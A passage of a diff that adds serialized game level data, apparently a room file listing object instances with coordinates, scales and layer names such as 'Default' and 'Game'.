+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4429,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2655,
+ 1456,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4430,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3334,
+ 1478,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4431,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3890,
+ 1484,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4432,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4207,
+ 1440,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4433,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4456,
+ 1547,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4434,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4719,
+ 1456,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4435,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5042,
+ 864,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4436,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5499,
+ 904,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4437,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3618,
+ 626,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4438,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 128657187887065,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 2666,
+ 557,
+ 0,
+ 92,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 546,
+ 6621,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4716,
+ 866,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4488,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3910,
+ 344,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4487,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3478,
+ 623,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4486,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2617,
+ 977,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4485,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2250,
+ 450,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4484,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1093,
+ 840,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4483,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 779,
+ 955,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4474,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 178,
+ 951,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4475,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4632,
+ 1383,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4451,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4300,
+ 1476,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4452,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3834,
+ 1422,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4453,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3228,
+ 1358,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4454,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3378,
+ 1205,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4455,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3455,
+ 1400,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4456,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5193,
+ 1077,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4450,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4836,
+ 866,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4449,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3605,
+ 847,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4448,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2418,
+ 631,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4447,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1149,
+ 846,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4440,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20,
+ 947,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 4439,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4695.7744140625,
+ 908.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4355,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4695.7744140625,
+ 1000.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4359,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4784.7744140625,
+ 908.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4360,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4784.7744140625,
+ 1000.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4361,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4873.7744140625,
+ 908.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4362,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4873.7744140625,
+ 1000.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4363,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4695.7744140625,
+ 1092.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4370,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4784.7744140625,
+ 1092.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4380,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4873.7744140625,
+ 1092.435791015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4381,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4962.71630859375,
+ 908.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4382,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4962.71630859375,
+ 1000.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4383,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5051.71630859375,
+ 908.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4384,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5051.71630859375,
+ 1000.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4385,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5140.71630859375,
+ 908.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4386,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5140.71630859375,
+ 1000.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4387,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4962.71630859375,
+ 1092.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4388,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5051.71630859375,
+ 1092.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4389,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5140.71630859375,
+ 1092.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4390,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5229.7822265625,
+ 908.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4391,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5229.7822265625,
+ 1000.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4394,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5318.7822265625,
+ 908.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4395,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5318.7822265625,
+ 1000.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4396,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5407.7822265625,
+ 908.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 507,
+ 4397,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5407.7822265625,
+ 1000.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4398,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5229.7822265625,
+ 1092.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4399,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5318.7822265625,
+ 1092.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4400,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5407.7822265625,
+ 1092.420166015625,
+ 0,
+ 94,
+ 97,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5051546096801758,
+ 0,
+ 0,
+ []
+ ],
+ 508,
+ 4401,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3450,
+ 1134,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4356,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3451,
+ 1056,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4357,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3452,
+ 977,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4358,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3453,
+ 898,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4392,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3453,
+ 819,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4393,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3454,
+ 741,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4547,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3455,
+ 662,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4550,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3527,
+ 1134,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4559,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3528,
+ 1056,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4560,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3529,
+ 977,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4561,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3529,
+ 898,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4562,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3529,
+ 819,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4563,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3530,
+ 741,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4564,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3531,
+ 662,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4567,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3605,
+ 1134,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4589,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3606,
+ 1056,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4590,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3607,
+ 977,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4591,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3607,
+ 898,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4594,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3607,
+ 819,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4600,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3608,
+ 741,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
